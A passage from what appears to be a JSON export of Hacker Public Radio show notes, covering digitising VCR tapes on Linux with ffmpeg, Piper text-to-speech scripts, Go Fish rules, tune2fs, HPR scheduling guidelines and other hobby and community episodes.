                                                            $ lsusb | sort | tee before.txt

                                                            \n
                                                              \n
                                                            • Connect the VCR with RSA Cables to the AV2HDMI converter.
                                                            • \n
                                                            • Connect the AV2HDMI converter with a HDMI cable to the HDMI2USB\nconverter.
                                                            • \n
                                                            • Connect the HDMI2USB converter to a Linux PC with a usb cable.
                                                            • \n
                                                            \n

                                                            After waiting a few seconds, you can list the usb devices again and\ndo a diff to see which has been added.

                                                            \n
                                                            $ lsusb | sort | tee after.txt\n$ diff before.txt after.txt\n11a12\n> Bus 003 Device 021: ID 534d:2109 MacroSilicon USB Video
                                                            \n

                                                            While we know the USB device ID, we now need to know if/how the\nhardware is mapped into Linux.

                                                            \n

                                                            We need a way to be able to identify which /dev/video?\ndevice I need to capture from.

                                                            \n

                                                            First unplug the HDMI2USB capture card, and get a list of the video\ndevices.

                                                            \n
                                                            $ for i in  /sys/class/video4linux/video*/device/uevent ;do echo "${i} ===";cat "${i}";done | tee before.txt
                                                            \n

                                                            Plug back in the card and give it a few seconds to be recognised.\nThen run the same command and diff the output to see the\ndifferences.

                                                            \n
                                                            $ for i in  /sys/class/video4linux/video*/device/uevent ;do echo "${i} ===";cat "${i}";done | tee after.txt\n$ diff before.txt after.txt\n28a29,42\n> /sys/class/video4linux/video4/device/uevent ===\n> DEVTYPE=usb_interface\n> DRIVER=uvcvideo\n> PRODUCT=534d/2109/2100\n> TYPE=239/2/1\n> INTERFACE=14/1/0\n> MODALIAS=usb:v534Dp2109d2100dcEFdsc02dp01ic0Eisc01ip00in00\n> /sys/class/video4linux/video5/device/uevent ===\n> DEVTYPE=usb_interface\n> DRIVER=uvcvideo\n> PRODUCT=534d/2109/2100\n> TYPE=239/2/1\n> INTERFACE=14/1/0\n> MODALIAS=usb:v534Dp2109d2100dcEFdsc02dp01ic0Eisc01ip00in00\n
                                                            \n

                                                            In my case I'm interested in the PRODUCT=534d/2109/2100.\nFrom which we can find the changing path, which in this case is\n/sys/class/video4linux/video5/

                                                            \n

                                                            Similarly we also need to know which ALSA Audio Device it\nexposed.

                                                            \n

                                                            Again unplug the HDMI2USB capture card, and get a list of the audio\ndevices.

                                                            \n
                                                            $ arecord -l | tee before.txt\n
                                                            \n

                                                            Plug back in the card and give it a few seconds to be recognised.\nThen run the same command and diff the output to see the\ndifferences.

                                                            \n
                                                            $ arecord -l | tee after.txt\n$ diff before.txt after.txt\n7a8,10\n> card 2: MS2109 [MS2109], device 0: USB Audio [USB Audio]\n>   Subdevices: 1/1\n>   Subdevice #0: subdevice #0
                                                            \n

                                                            In my case it reports as MS2109 from which we can find\nthe changing card 2

                                                            \n

                                                            Software

                                                            \n

                                                            Due to the limitations of\nthis brand of video capture we need to force capture to use mjpg format at 30\nframes per second.

                                                            \n

                                                            I first used vlc to test\nthe capture

                                                            \n

                                                            Select Open Media > Capture Devices Select Video Device Name to\nthe video device you found above. So as an example\n/dev/video4 Also set the \"Audio device name\" to the alsa\ncard, eg hw: 2,0:

                                                            \n\n\"Screenshot\n\n\n

                                                            Once audio and video were working, I switched to using ffmpeg as I'm more comfortable scripting\nwith it.

                                                            \n

                                                            Bash script

                                                            \n

                                                            This is very much a \"me\" script, so edit it to your hardware and\nrequirements.

                                                            \n
                                                            #!/bin/bash\n\nCopyright Ken Fallon 2024 (c) "No Rights Reserved"\nReleased to the Public Domain via Creative Commons 0\nhttps://creativecommons.org/public-domain/cc0/\n\nvideo_device="$( grep -l 'PRODUCT=534d/2109/2100' /sys/class/video4linux/video*/device/uevent | \\\nhead -1 | \\\nawk -F '/' '{print $5}' )"\nvideo_device_path="/dev/${video_device}"\nif [ -z "${video_device}" ]\nthen\n  echo "ERROR: Cannot find the HDMP2USB stick video stream" 1>&2\n  exit 1\nelse\n  echo "INFO: Found the HDMP2USB stick video on \\"${video_device_path}\\"" 1>&2\nfi\n\naudio_device_id="$( arecord -l | grep 'MS2109' | awk -F 'card |:' '{print $2}' )"\nif [ -z "${audio_device_id}" ]\nthen\n  echo "ERROR: Cannot find the HDMP2USB stick audio stream" 1>&2\n  exit 1\nelse\n  echo "INFO: Found the HDMP2USB stick audio on \\"${audio_device_id}\\"" 1>&2\nfi\n\nffmpeg \\\n-f v4l2 \\\n-framerate 30 \\\n-video_size 720x480 \\\n-input_format mjpeg \\\n-thread_queue_size 512 \\\n-i "${video_device_path}" \\\n-f alsa \\\n-i hw:"${audio_device_id}" \\\n-c:v copy \\\n-c:a flac \\\noutput-flac.mkv
                                                            \n

                                                            The break down of the ffmpeg options are as follows, for\nmore information see man ffmpeg or view online man pages.

                                                            \n
                                                            SYNOPSIS\nffmpeg [global_options] {[input_file_options] -i input_file} ... {[output_file_options] output_file} ...\n\n-f fmt (input/output)\n    Force input or output file format. The format is normally auto detected for input files and guessed from\n    the file extension for output files, so this option is not needed in most cases.\n\n-framerate\n    Set the grabbing frame rate. Default is "ntsc", corresponding to a frame rate of "30000/1001".\n\n-video_size\n    Set the video frame size.\n\n-input_format\n    Set the preferred pixel format (for raw video) or a codec name. This option allows one to select the input\n    format, when several are available.\n\n-thread_queue_size size (input)\n    This option sets the maximum number of queued packets when reading from the file or device. With low\n    latency / high rate live streams, packets may be discarded if they are not read in a timely manner;\n    raising this value can avoid it.\n\n-i filename (input)\n    input file name\n\n-f fmt (input/output)\n    Force input or output file format. The format is normally auto detected for input files and guessed from\n    the file extension for output files, so this option is not needed in most cases.\n\n-c[:stream_specifier] codec (input/output,per-stream)\n-codec[:stream_specifier] codec (input/output,per-stream)\n    Select an encoder (when used before an output file) or a decoder (when used before an input file) for one\n    or more streams. codec is the name of a decoder/encoder or a special value "copy" (output only) to indicate\n    that the stream is not to be re-encoded.\n\n    For example\n\n            ffmpeg -i INPUT -map 0 -c:v libx264 -c:a copy OUTPUT\n\n    encodes all video streams with libx264 and copies all audio streams.\n\n    For each stream, the last matching "c" option is applied, so\n\n            ffmpeg -i INPUT -map 0 -c copy -c:v:1 libx264 -c:a:137 libvorbis OUTPUT\n\n    will copy all the streams except the second video, which will be encoded with libx264, and the 138th audio,\n    which will be encoded with libvorbis.
                                                            \n

                                                            We used the v4l2 for the Video4Linux format.\nA frame rate of 30, and input format of mjpg which are limitations of the\ncard. Given the source PAL-I has 625\nlines, a video_size of 720x480 is reasonable. After ffmpeg\ncomplained, I added thread_queue_size of 512 to help out. Then the rest\nis specifying the input for the video, and setting the audio to flac.

                                                            \n

                                                            I just want to dump the incoming stream to a file so that it can be\nprocessed later.

                                                            \n

                                                            Recording

                                                            \n

                                                            for vcr in {0..113}; do ;-)

                                                            \n

                                                            The intention was to put in a tape in the morning before going to\nwork. Swap it for another when I got home, and yet another when I went\nto bed.

                                                            \n

                                                            As there was no mechanism to know when the recording was done, I\nfirst checked the length of the tape by Fast Forwarding it to the\nend.

                                                            \n

                                                            I used the timeout command to run a\ncommand with a time limit

                                                            \n

                                                            This would prevent already massive files filling the disk with hours\nof static.

                                                            \n
                                                            timeout --preserve-status --kill-after=5m --verbose 210m record-720x480.bash
                                                            \n

                                                            Problems

                                                            \n

                                                            While it worked fine for some, there was an intermittent problem that\nwould cause the laptop to freeze. It would eventually recover after a\nfew days, but I lost a lot of time and couldn't trust the process. I\nchecked the memory and hard disk, even writing to usb and a nas.

                                                            \n

                                                            With each hour of recording coming in at 6.6G, some tapes lead to 60G\nfiles.

                                                            \n

                                                            I suspect that my luks\nencrypted disk was struggled with the huge files that were been\nproduced.

                                                            \n

                                                            So keeping it simple I called out my HP t610\nFlexible Thin Client with 2nd hand 1T hard disk, and set it up with\na clean install of Debian.

                                                            \n

                                                            This fixed the issue and allowed me to get consistent recordings, all\nbe it in a not so handy format.

                                                            \n

                                                            Post processing

                                                            \n

                                                            I wanted to be able to\nscrubb\nforward and back, to see if there was anything recorded on the tapes.\nUnfortunately the mkv flac/mjpeg format doesn't allow\nscrubbing,\nso the recorded media first needed to be transcoded to a format that did\nallow scrubbing, but also reduced the file size dramatically.

                                                            \n

                                                            By specifying the filename as next this command converted the media\nto mp4. ffmpeg -i ${next} ${next%.*}.mp4

                                                            \n

                                                            This reduces the size by about 50%.

                                                            \n

                                                            Once converted this allowed me to use LosslessCut The Swiss Army\nKnife of Lossless Video/Audio Editing, to quickly preview and cut out\nthe sections I needed without having to reprocess everything.

                                                            \n

                                                            flatpak run no.mifi.losslesscut

                                                            \n

                                                            Links

                                                            \n

                                                            The following are the links I gathered while compiling this project.\nMost are from searching for the usb id into a search engine\n\"534d:2109\".

                                                            \n
                                                              \n
                                                            • https://en.wikipedia.org/wiki/RCA_connector
                                                            • \n
                                                            • https://www.amazon.de/dp/B0CJQX2H9S
                                                            • \n
                                                            • https://www.bol.com/nl/nl/p/mini-hdmi2av-up-scaler-1080p/9300000030484510/
                                                            • \n
                                                            • https://github.com/yume-chan/ms2109-player
                                                            • \n
                                                            • https://ciko.io/posts/cheap_usb_hdmi/
                                                            • \n
                                                            • https://www.baeldung.com/linux/ffmpeg-webcam-stream-video
                                                            • \n
                                                            • https://recolic.net/blog/post/macrosilicon-ms2109-hdmi-to-usb-capture-not-working-on-linux
                                                            • \n
                                                            • https://superuser.com/questions/1838120/how-to-specify-audio-input-to-ffplay
                                                            • \n
                                                            • https://opensource.com/article/17/6/ffmpeg-convert-media-file-formats
                                                            • \n
                                                            • https://shotstack.io/learn/how-to-use-ffmpeg/
                                                            • \n
                                                            • https://blog.trixpark.com/live-streaming-with-ffmpeg-a-comprehensive-guide-with-examples/
                                                            • \n
                                                            • https://www.diyaudio.com/community/threads/macrosilicon-2109-cheap-usb-hdmi-a-v-capture.357873/
                                                            • \n
                                                            • https://forum.videohelp.com/threads/404784-%5BSolved%5DUSB-capture-device-stuck-on-10-fps
                                                            • \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"VCR,Archive,RSA,HDMI,USB,ffmpeg,video4linux,alsa,timeout,losslesscut","version":0,"downloads":0,"valid":1}, {"id":4186,"date":"2024-08-19","title":"How to get started with Software Freedom Day?","duration":1968,"summary":"Sam ask how to get started with organizing Software Freedom Day.","notes":"

                                                            Talking about\nSoftware Freedom Day (SFD) on HPR

                                                            \n

                                                            Possible topics

                                                            \n

                                                            Intro

                                                            \n
                                                              \n
                                                            • Who am I?
                                                            • \n
                                                            • Who are you?
                                                            • \n
                                                            • Why this recording?
                                                            • \n
                                                            \n

                                                            Framing and context

                                                            \n
                                                              \n
                                                            • What is SFD?
                                                            • \n
                                                            • How is SFD different from all those other events?
                                                            • \n
                                                            • Why is SFD important?
                                                            • \n
                                                            \n

                                                            Practical questions

                                                            \n
                                                              \n
                                                            • I don't feel confident speaking in public, should I be organizing\nthis?
                                                            • \n
                                                            • How do I get started?
                                                            • \n
                                                            • What are possible venues?
                                                            • \n
                                                            • What's your audience?
                                                            • \n
                                                            • What activities could I do on a first event?
                                                            • \n
                                                            • What are the costs I have?
                                                            • \n
                                                            • Why would I register my event on the website?
                                                            • \n
                                                            \n

                                                            Topics and content\nsuggestions

                                                            \n
                                                              \n
                                                            • For every one of these:\n
                                                                \n
                                                              • low hanging fruit?
                                                              • \n
                                                              • catered to my audience?
                                                              • \n
                                                              • who??
                                                              • \n
                                                            • \n
                                                            • Talks & presentations
                                                            • \n
                                                            • Workshops
                                                            • \n
                                                            • Other types of activities
                                                            • \n
                                                            \n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Software Freedom Day, Community, Activism","version":0,"downloads":0,"valid":1}, {"id":4187,"date":"2024-08-20","title":"Go Fish Card Game","duration":203,"summary":"A simple card game you can play this summer","notes":"

                                                            This is a fantastic card game suitable for 3 or more players. We've\neven played it with up to 7 players.

                                                            \n

                                                            The game utilizes a standard deck of cards.

                                                            \n

                                                            Each player is dealt 7 cards.

                                                            \n

                                                            The remaining cards form a pile in the center face down.

                                                            \n

                                                            The objective of the game is to have the most sets of cards by the\nend.

                                                            \n

                                                            A set is defined as 4 cards of the same rank, such as all the 3s or\nall the kings. The suits of the cards are irrelevant in this game.

                                                            \n

                                                            Determine who will take the first turn. This player must have a card\nof the rank they intend to ask for in their hand.

                                                            \n

                                                            They then inquire from another player if they have any cards of that\nspecific rank. For example, \"Oscar, do you have any 5s?\" If Oscar has\nany fives, he must give all the cards which have five on them to the\nasking player.

                                                            \n

                                                            The player who has requested the card gets another turn. They can ask\nany of the other players. When a player asks for a card and that player\ndoes not have that card in their hand they say \"Go Fish\", and the player\nwho has asked the question must draw a card from the pile. Their turn is\nover and passes to the next player in a clockwise direction.

                                                            \n

                                                            If a player collects 4 cards of the same rank, they form a set and\nare placed aside. If a player runs out of cards, they can draw one from\nthe pile and ask for cards of that rank. If there are no more cards left\nin the pile, that player is out of the game. But don't worry, you can\nstill win. The game continues until all the cards have been played. Once\nall the cards are played, the player with the most sets wins

                                                            \n

                                                            This game is both amusing and challenging, and it will certainly make\nyou laugh as you discover what cards other players hold. For instance,\nif Oscar has one five, Josie has two fives, Al has one five, and Rainy\nhas no fives. Oscar can ask Josie if she has a five, and since she does,\nshe has to give the cards to Oscar. He then gets another turn and asks\nRainy, but she doesn't have any and says \"go fish\". Now Al knows that\nOscar has three fives in his hand. So, when it's Al's turn, he can ask\nOscar if he has any fives, and since he does, he has to hand them over.\nThis way, Al wins that set of cards.

                                                            \n

                                                            Give it a try and you'll find yourself laughing out of frustration.\nI'll include the rules of the game in the show notes.

                                                            \n","hostid":290,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"card games ,summer,camping","version":0,"downloads":0,"valid":1}, {"id":4188,"date":"2024-08-21","title":"Re: HPR4172 Comment by Ken Fallon","duration":309,"summary":"Archer72 responds to Ken's comment on HPR4172 with hopefully enough detail","notes":"

                                                            \n

                                                            Hello HPR, this is your host Archer72, for another episode of Hacker\nPublic Radio.
                                                            My subject today is Piper voice synthesis, continued.\n

                                                            \n

                                                            In response to Ken's comment on my show, hpr4172 Re: hpr4072 Piper\nvoice
                                                            synthesis, I am responding to his comment with a solution. I'm\nglad that Ken
                                                            commented, because I had put the problem on the back\nburner and forgot about it.
                                                            Both of us had the make\ncommand for the Piper github repo fail at 22%.

                                                            \nI ignored it for the time being and compiled Piper for the Raspberry Pi\ninstead.
                                                            Now here is the comment that got me to figure out how to\nget Piper working on my
                                                            own Fedora 40 laptop.\n

                                                            \n

                                                            Comment #1 posted on 2024-07-24 14:04:27 by Ken Fallon
                                                            Fails on\nFedora 40

                                                            \n
                                                            [ 22%] Linking C shared library libespeak-ng.so /usr/bin/ld:\n../ucd-tools/libucd.a(case.c.o): relocation R_X86_64_32S against `.rodata' can\nnot be used when making a shared object; recompile with -fPIC /usr/bin/ld:\nfailed to set dynamic section sizes: bad value collect2: error: ld returned 1\nexit status [snip] make: *** [Makefile:5: all] Error 2
                                                            \n

                                                            Comment #2 posted on 2024-07-26 09:38:17 by Archer72
                                                            Re:Fails on\nFedora 40

                                                            \n

                                                            Hi Ken, I get the same failure, and found that there was a release in\n2023

                                                            \n

                                                            Github Piper repo

                                                            \n

                                                            \nI put the downloaded piper directory in /opt , along with\nthe
                                                            piper-voices/en directory and have a successful\nvoice output.\n

                                                            \n
                                                            uname -r\n\n6.9.5-200.fc40.x86_64\n\n[piper] [info] Loaded voice in 0.33 second(s)\n[piper] [info] Initialized piper Output directory: /home/mark/./output.wav
                                                            \n

                                                            End of comments

                                                            \n

                                                            \n

                                                            In further conversations with Ken, I found that a vital part of Piper\nvoice
                                                            synthesis had been forgotten. For example, if you are using\nPiper to convert a
                                                            text file to .wav, the command need to include\nthe following:
                                                            input.txt piper executable location, i.e.\n/opt/piper/piper

                                                            \n

                                                            --model, and the model location, i.e.\n/opt/piper-voices/

                                                            \n

                                                            note, the voice used need to include the voice in .onnx format and\nalso the
                                                            voice configuration in .json format

                                                            \n

                                                            --output_file output.wav

                                                            \nThe final script is included in the show notes.\n

                                                            \n
                                                            #!/bin/bash\ncat "$1" | /opt/piper/piper --model /opt/piper-voices/en_US/kusal/medium/en_US-kusal-medium.onnx --output_file output.wav
                                                            \n

                                                            That's it! Now if you had downloaded the voices from hpr4172, there\nshould be a
                                                            successful voice to text output.

                                                            \n

                                                            To put the final touches on 'my' voice, which is the\nen_US-kusal-medium voice,
                                                            processed just a bit with the\nsox program.

                                                            \n
                                                            ## ~/bin/make-my-voice.sh\n#!/bin/bash\n# Add 2 seconds of silence to the beginning of the file\nsox $1 output.wav pad 2\n\n## Reduce clipping\nsox output.wav output-mid.wav vol 0.99\n\n# Reduce the tempo by 12%\nsox output-mid.wav final_output.wav tempo 0.88
                                                            \n

                                                            \n

                                                            One last thing. It was brought to my attention that the Piper voice,\nBryce 'may'
                                                            sound like William Shatner in the original Star Trek tv\nseries.

                                                            \n

                                                            I will put that clip in here and see what the community thinks. Feel\nfree to
                                                            leave a comment saying 'yay' or 'nay' on this opinion.

                                                            \n

                                                            If this tool works for you, feel free to leave comments on this show.\nBetter
                                                            yet, record a show of your own. Looking forward to hearing\nfrom the
                                                            next host, whether it be by text to speech, or a\nmicrophone.

                                                            \nRemember to support free software and apps in the F-Droid store if you\nuse Android.\n

                                                            \n

                                                            This has been your host Archer72; Bye

                                                            \n","hostid":318,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"tts, TextToSpeech, VoiceSynthesis, accessibility","version":0,"downloads":0,"valid":1}, {"id":4189,"date":"2024-08-22","title":" HPR New Years Eve Show 2023 - 24 ep 6","duration":7408,"summary":"The HPR community comes together to converse","notes":"
                                                              \n
                                                            • Stephen Seagal (death hoax) - https://www.pinterest.com/pin/fashion--441000988526588304/

                                                            • \n
                                                            • Stephen Seagal - https://www.rottentomatoes.com/celebrity/steven_seagal

                                                            • \n
                                                            • Bill Nye \"The Science Guy\" Death Hoax - https://www.imdb.com/news/ni62306201/

                                                            • \n
                                                            • Bill Nye \"The Science Guy\" - https://www.billnye.com/

                                                            • \n
                                                            • Jimmy Kimmel - https://en.wikipedia.org/wiki/Jimmy_Kimmel

                                                            • \n
                                                            • VIM - https://www.vim.org/

                                                            • \n
                                                            • Etherpad - https://etherpad.org/

                                                            • \n
                                                            • Scott Sigler - https://scottsigler.com/

                                                            • \n
                                                            • Stephen King - https://stephenking.com/index.html

                                                            • \n
                                                            • Graphic Audio - https://www.graphicaudio.net/

                                                            • \n
                                                            • One Drive Audiobooks - https://www.overdrive.com/

                                                            • \n
                                                            • Hoopla Audio Books - https://www.hoopladigital.com/browse/audiobook

                                                            • \n
                                                            • LibreVox - https://librivox.org/

                                                            • \n
                                                            • Filthy Casuals Gaming Podcast - https://www.filthycasuals.com.au/

                                                            • \n
                                                            • Wolf 359 Podcast - https://wolf359.fm/

                                                            • \n
                                                            • Black Tapes Podcast - http://theblacktapespodcast.com/

                                                            • \n
                                                            • Tanis Podcast - http://tanispodcast.com/

                                                            • \n
                                                            • Evil Genius Podcast - https://www.bbc.co.uk/programmes/p0605sx6/episodes/downloads

                                                            • \n
                                                            • Dungeons & Dragons - https://dnd.wizards.com/

                                                            • \n
                                                            • Viva La Dirt League D&D Podcast - https://www.youtube.com/@VivaLaDirtLeagueDnD

                                                            • \n
                                                            • Critical Role Podcast - https://critrole.com/podcast/

                                                            • \n
                                                            • Legend of Vox Machina - https://criticalrole.fandom.com/wiki/The_Legend_of_Vox_Machina

                                                            • \n
                                                            • Heroes Road Audiobook Series - https://www.graphicaudio.net/heroes-road-series-set.html

                                                            • \n
                                                            • Rhythm Box - http://www.rhythmbox.org/

                                                            • \n
                                                            • Herbivores - https://courses.lumenlearning.com/wm-biology2/chapter/herbivores-carnivores-and-omnivores/

                                                            • \n
                                                            • Tyrannosaurus Rex - https://kids.nationalgeographic.com/animals/prehistoric/facts/tyrannosaurus-rex

                                                            • \n
                                                            • Pinecone -https://www.pinecone.io/

                                                            • \n
                                                            • Lichen - https://www.fs.usda.gov/wildflowers/beauty/lichens/index.shtml

                                                            • \n
                                                            • Eating Tide Pods - https://www.health.harvard.edu/blog/why-teenagers-eat-tide-pods-2018013013241

                                                            • \n
                                                            • Roll 20 - https://roll20.net/

                                                            • \n
                                                            • LUG (Linux User Group) -https://en.wikipedia.org/wiki/Linux_user_group

                                                            • \n
                                                            • Maker Spaces - https://www.makerspaces.com/what-is-a-makerspace/

                                                            • \n
                                                            • NAS - https://iosafe.com/data-protection-topics/what-is-a-nas-device/

                                                            • \n
                                                            • Ryzen 9 3900x - https://www.amd.com/en/product/8436

                                                            • \n
                                                            • RTX 6950 - https://www.amd.com/en/products/graphics/amd-radeon-rx-6950-xt

                                                            • \n
                                                            • Steamdeck - https://store.steampowered.com/steamdeck

                                                            • \n
                                                            • Machine Learning - https://mitsloan.mit.edu/ideas-made-to-matter/machine-learning-explained

                                                            • \n
                                                            • Large Language Models - https://www.nvidia.com/en-us/glossary/large-language-models/

                                                            • \n
                                                            • Mimic 3 (text to speech) - https://mycroftai.github.io/mimic3-presentation/

                                                            • \n
                                                            • Anaconda AMD drivers - https://docs.anaconda.com/free/working-with-conda/packages/gpu-packages/

                                                            • \n
                                                            • Binary Blob - https://puri.sm/learn/blobs/

                                                            • \n
                                                            • Grim Dawn - https://www.grimdawn.com/

                                                            • \n
                                                            • BASH Scripting - https://www.geeksforgeeks.org/bash-scripting-introduction-to-bash-and-bash-scripting/

                                                            • \n
                                                            • Baldurs Gate 3 - https://baldursgate3.game/

                                                            • \n
                                                            • Humble Bundle - https://www.humblebundle.com/

                                                            • \n
                                                            • Canon T5 Camera - https://www.usa.canon.com/support/p/eos-rebel-t5

                                                            • \n
                                                            • Terrariums - https://www.thespruce.com/how-to-make-terrariums-848007

                                                            • \n
                                                            • Google Lens - https://lens.google/

                                                            • \n
                                                            • Pattaya, Thailand - https://www.lonelyplanet.com/thailand/chonburi-province/pattaya

                                                            • \n
                                                            • Line Messenger (encrypted chat) -https://line.me/en/

                                                            • \n
                                                            • Line Man (app) - https://play.google.com/store/apps/details?id=com.linecorp.linemanth&hl=en&gl=US

                                                            • \n
                                                            • River Kwai - https://www.bridgeriverkwai.com/

                                                            • \n
                                                            • Cha-am - https://www.tourismthailand.org/Destinations/Provinces/Cha-am/241

                                                            • \n
                                                            • Ayutthaya, Thailand - https://whc.unesco.org/en/list/576/

                                                            • \n
                                                            • Saint Louis Zoo Wild Cats Enclosure - https://stlzoo.org/zones/red-rocks/big-cat-coutry

                                                            • \n
                                                            • Mala Beads - https://www.goldenlotusmala.com/blogs/meditation/how-to-wear-mala-beads

                                                            • \n
                                                            • Screen Printing - https://inkwellnation.com/tshirt-printing/everything-you-need-to-know-about-screen-printing/

                                                            • \n
                                                            • Hemp Fiber - https://www.hemptraders.com/Hemp-Fiber-s/1828.htm

                                                            • \n
                                                            • US CIS - https://www.uscis.gov/

                                                            • \n
                                                            • Knot Tying - https://www.animatedknots.com/basic-knots

                                                            • \n
                                                            • Barnacles - https://oceanservice.noaa.gov/facts/barnacles.html

                                                            • \n
                                                            • Mahogany Wood - https://en.wikipedia.org/wiki/Mahogany

                                                            • \n
                                                            • Ankh - https://eztouregypt.com/ankh-meaning/

                                                            • \n
                                                            • Friendship Bracelet - https://www.wristband.com/content/all_about_friendship_bracelets

                                                            • \n
                                                            • Michaels (Hobby Store) - https://www.michaels.com/

                                                            • \n
                                                            • Hobby Lobby - https://www.hobbylobby.com/

                                                            • \n
                                                            • Mystic Market Columbus, Ohio - https://columbusunderground.com/events/mystic-market/

                                                            • \n
                                                            • Columbus Ohio Gallery Hop - https://citypulsecolumbus.com/short-north-gallery-hop/

                                                            • \n
                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years, linux, community.","version":0,"downloads":0,"valid":1}, {"id":4190,"date":"2024-08-23","title":"Civilization IV","duration":1226,"summary":"We start our look at the next game in the Civilization franchise, Civilization IV","notes":"

                                                            Civilization IV brings in some interesting advancements in the\nfranchise, and is a great game. We look here at how it came to be and\nwhat they did on a high level, before getting into the details in\nfurther installments

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4191,"date":"2024-08-26","title":"rkvm software KVM","duration":1096,"summary":"A brief introduction to the rkvm software KVM","notes":"

                                                            rkvm is a\nsoftware KVM (keyboard, video and mouse) switch - minus the video. From\nthe README:

                                                            \n
                                                            \n

                                                            rkvm is a tool for sharing keyboard and mouse across multiple Linux\nmachines. It is based on a client/server architecture, where server is\nthe machine controlling mouse and keyboard and relays events (mouse\nmove, key presses, ...) to clients.

                                                            \n
                                                            \n

                                                            In this episode I discuss the steps I took to install and compile\nrkvm, my experiences running it, and what led me to this software in the\nfirst place.

                                                            \n","hostid":196,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kvm, network, keyboard, mouse","version":0,"downloads":0,"valid":1}, {"id":4192,"date":"2024-08-27","title":"Replacing backup batteries in my Kenwood HF Radio Part 2","duration":778,"summary":"Replacing batteries in my HF Amateur radio TS-940S. Covers replacement of the clock battery","notes":"

                                                            Picture 1
                                                            \n
                                                            \nshows the two replacement Kenwood batteries that I purchased from\nebay.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nshows the original clock battery fitted to my Kenwood radio. This\nbattery retains the time, and alarm settings when the power is removed\nfrom the radio.

                                                            \n

                                                            Link\nshowing a fluke 77 Digital Multi-meter identical to the one I\nhave.

                                                            \n

                                                            Wikipedia article\nabout de-soldering which shows a typical de-soldering pump (solder\nsucker) similar to the one I used.

                                                            \n

                                                            Picture 3
                                                            \n
                                                            \nshows the resistor I attached to one end of the new battery extending\nthe leads so they reach between the two battery terminal posts on my\nKenwood radio.

                                                            \n

                                                            Picture 4
                                                            \n
                                                            \nshows the new clock backup battery fitted to my Kenwood radio note the\nextended lead on the right hand side made from the leg of an old\nresistor I had lying around.

                                                            \n

                                                            Picture 5
                                                            \n
                                                            \nshows the poor lighting and cramped working conditions I had to deal\nwith.

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, DIY, repair, electronics, soldering","version":0,"downloads":0,"valid":1}, {"id":4193,"date":"2024-08-28","title":"Why I haven't recorded an episode for HPR","duration":720,"summary":"Dave records an episode for HPR explaining why he hasn't recorded an episode for HPR.","notes":"

                                                            Dave records an episode using AuphonicEdit,\nedited with Audacity,\nprocessed with Auphonic, and\nuploaded to the HPR website... to show how straight-forward it is to\ndo!

                                                            \n

                                                            This is very much an unscripted stream-of-consciousness episode,\ncomplete with heavy breathing, wind noise (meteorological, not\nflatulent), road noise, and one instance of having to ask for directions\nbecause Dave got lost.

                                                            \n

                                                            ... in his own town.
                                                            \n... where he's lived for 18 years.
                                                            \n... quite embarrassing really.

                                                            \n","hostid":314,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"hpr, auphonic, audacity, walking, heavy breathing","version":0,"downloads":0,"valid":1}, {"id":4194,"date":"2024-08-29","title":"Get more user space on your Linux filesystem with tune2fs","duration":296,"summary":"How to use the tune2fs program to reduce the reserved block percentage value","notes":"

                                                            As far as I know, this only applies to Linux ext2,\next3, and ext4 filesystems:

                                                            \n
                                                            df -h\n\nsudo tune2fs -m 1 /dev/sda1
                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cli,command line,linux,filesystems,sysadmin","version":0,"downloads":0,"valid":1}, {"id":4195,"date":"2024-08-30","title":"Hacking HPR Hosts","duration":2185,"summary":"Social Engineering more contributions to HPR by picking when to publish your show","notes":"

                                                            In this show Ken explains that we are competing with other players in\nthe Entertainment Industry. That we have no control of the supply chain,\nand rely on hosts to consider the scheduling guidelines when uploading\ntheir show.

                                                            \n
                                                              \n
                                                            • You must have your audio recording ready to upload before you pick a\nslot.
                                                            • \n
                                                            • New hosts, Interviews, and other time critical shows should use the\nfirst free slot.
                                                            • \n
                                                            • Always try and fill any free slots that are available in the\nupcoming two weeks.
                                                            • \n
                                                            • When the queue is filling up then leave some slots free for new\ncontributors.
                                                            • \n
                                                            • Post non urgent shows into the first empty week.
                                                            • \n
                                                            • If you are uploading a series of shows then post them one every two\nweeks.
                                                            • \n
                                                            • If you have a non urgent show that is timeless, then add every\nsecond show to the Reserve\nQueue.
                                                            • \n
                                                            \n

                                                            See Full\nShownotes for more information

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, Queue, Scheduling, Buffering","version":0,"downloads":0,"valid":1}, {"id":4196,"date":"2024-09-02","title":"HPR Community News for August 2024","duration":4914,"summary":"HPR Volunteers talk about shows released and comments posted in August 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Bob.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4174Thu2024-08-01Of the Mic and the MopKen Fallon
                                                            4175Fri2024-08-02what's in my bag part 2operat0r
                                                            4176Mon2024-08-05HPR Community News for July 2024HPR Volunteers
                                                            4177Tue2024-08-06Blender 3D Tutorial #1Deltaray
                                                            4178Wed2024-08-07Today I learnt (2024-07-27)Dave Morriss
                                                            4179Thu2024-08-08 HPR New Years Eve Show 2023 - 24 ep 5Honkeymagoo
